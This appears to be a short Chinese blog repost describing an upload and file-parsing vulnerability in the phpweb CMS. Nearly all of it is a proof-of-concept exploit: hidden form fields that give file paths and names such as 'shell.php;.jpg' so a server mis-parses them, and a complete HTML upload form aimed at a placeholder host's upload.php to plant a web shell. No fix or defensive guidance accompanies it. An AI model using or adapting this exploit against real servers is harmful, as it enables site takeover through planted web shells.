phpweb解析不当加上传漏洞

XML/HTML代码

1. 漏洞详情简要描述：新版的phpweb 存在这上传和解析不当漏洞  
2. 详细说明：  
3. <input type="hidden" name="filepath" value="Account/adminindex/1.asp;">  
4.   
5. <input type="hidden" name="filelx" value="jpg">  
6. 漏洞证明：exp 上传shell.php.jpg  
7. <form name=”uploadForm” style=”margin:0;padding:0;” method=”post” enctype=”multipart/form-data” action=”http://xxxxx.com/maq/upload.php”>  
8.   
9. <input type=”hidden” name=”fileName” id=”fileName” value=”shell.php;.jpg” />  
10.   
11. <input type=”hidden” name=”attachPath” id=”fileName” value=”maq/pics/” />  
12.   
13. <input type=”file” name=”fileData” id=”imgFile” size=”14″ style=”border:1px solid #555555;”>  
14.   
15. <input type=”submit” name=”button” id=”KE_IMAGEsubmitButton” value=”上传” style=”border:1px solid #555555;background-color:#AAAAAA;” />  
16.   
17. </form>  

转载于:https://blog.51cto.com/hellxman/720246